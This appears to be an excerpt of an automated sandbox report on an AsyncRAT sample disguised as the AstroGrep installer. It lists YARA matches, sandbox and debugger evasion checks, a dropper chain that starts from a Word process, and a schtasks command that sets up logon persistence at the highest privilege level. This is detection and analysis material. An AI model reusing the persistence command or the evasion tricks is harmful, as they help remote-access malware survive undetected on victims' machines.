Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AsyncRAT

Show sources

Source: Yara match	File source: 12.2.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.24afcd8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ASTRO-GREP.EXE.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b7f330.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b7f330.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.24afcd8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b7f330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b7f330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2441547401.0000000000922000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.2447425472.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.2450569517.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2501813179.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2389222840.0000000000922000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2652015747.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2441758985.00000000024AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2386988323.0000000000B7F000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ASTRO-GREP.EXE PID: 2432, type: MEMORY
Source: Yara match	File source: Process Memory Space: astro-grep.exe PID: 2468, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\astro-grep.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Memsys\ms.exe, type: DROPPED

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: ASTRO-GREP.EXE, astro-grep.exe

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\AppData\Roaming\astro-grep.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Dropped PE file which has not been started: C:\Program Files (x86)\AstroGrep\ICSharpCode.AvalonEdit.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Dropped PE file which has not been started: C:\ProgramData\Memsys\ms.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Dropped PE file which has not been started: C:\Program Files (x86)\AstroGrep\AstroGrep.Common.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Dropped PE file which has not been started: C:\Program Files (x86)\AstroGrep\NLog.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Dropped PE file which has not been started: C:\Program Files (x86)\AstroGrep\libAstroGrep.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Dropped PE file which has not been started: C:\Program Files (x86)\AstroGrep\AstroGrep.AdminProcess.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Dropped PE file which has not been started: C:\Program Files (x86)\AstroGrep\Uninstall.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE TID: 2984	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE TID: 2984	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\taskeng.exe TID: 2500	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe TID: 2700	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe TID: 2576	Thread sleep time: -45000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe TID: 1100	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	WMI Queries: IWbemServices::ExecQuery - Select * from Win32_ComputerSystem
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	WMI Queries: IWbemServices::ExecQuery - Select * from Win32_ComputerSystem

Source: C:\Users\user\AppData\Roaming\astro-grep.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File Volume queried: C:\Program Files (x86) FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File Volume queried: C:\Program Files (x86) FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Code function: 4_2_00406033 FindFirstFileA,FindClose,	4_2_00406033
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Code function: 4_2_004055D1 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_004055D1
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Code function: 4_2_00402688 FindFirstFileA,	4_2_00402688

Source: C:\Users\user\AppData\Roaming\astro-grep.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: astro-grep.exe	Binary or memory string: vmware
Source: ASTRO-GREP.EXE, 00000003.00000002.2441362969.000000000050C000.00000004.00000020.sdmp	Binary or memory string: VMware_S
Source: ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000003.2477256410.00000000005D3000.00000004.00000001.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Show sources

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE

Code function: 3_2_001D41B4 CheckRemoteDebuggerPresent,

3_2_001D41B4

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process queried: DebugPort			Jump to behavior

Source: C:\ProgramData\Memsys\ms.exe

Code function: 2_2_00B73BEC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00B73BEC

Source: C:\ProgramData\Memsys\ms.exe

2_2_00B76260

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\ProgramData\Memsys\ms.exe	Code function: 2_2_00B74991 SetUnhandledExceptionFilter,	2_2_00B74991
Source: C:\ProgramData\Memsys\ms.exe	Code function: 2_2_00B73BEC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00B73BEC
Source: C:\ProgramData\Memsys\ms.exe	Code function: 2_2_00B72701 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00B72701

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\ProgramData\Memsys\ms.exe	Process created: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE 'C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE'	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process created: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE 'C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe'' & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\user\AppData\Local\Temp\tmp3E29.tmp.bat''	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe''	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\astro-grep.exe 'C:\Users\user\AppData\Roaming\astro-grep.exe'	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\astro-grep.exe C:\Users\user\AppData\Roaming\astro-grep.exe	Jump to behavior

Source: taskeng.exe, 0000000B.00000002.2652076256.0000000000870000.00000002.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652227873.0000000000B60000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: taskeng.exe, 0000000B.00000002.2652076256.0000000000870000.00000002.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652227873.0000000000B60000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: taskeng.exe, 0000000B.00000002.2652076256.0000000000870000.00000002.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652227873.0000000000B60000.00000002.00000001.sdmp	Binary or memory string: !Progman

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Queries volume information: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Queries volume information: C:\Program Files (x86)\AstroGrep\AstroGrep.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Queries volume information: C:\Program Files (x86)\AstroGrep\Uninstall.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Queries volume information: C:\Users\user\AppData\Roaming\astro-grep.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Queries volume information: C:\Users\user\AppData\Roaming\astro-grep.exe VolumeInformation	Jump to behavior

Source: C:\ProgramData\Memsys\ms.exe

Code function: 2_2_00B75173 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

2_2_00B75173

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE

Code function: 4_2_00405D51 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

4_2_00405D51

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Yara detected AsyncRAT

Show sources

Source: Yara match	File source: 12.2.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.24afcd8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ASTRO-GREP.EXE.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b7f330.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b7f330.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.24afcd8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b7f330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b7f330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2441547401.0000000000922000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.2447425472.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.2450569517.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2501813179.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2389222840.0000000000922000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2652015747.0000000000192000.00000020.00020000.sdmp, type: MEMORY
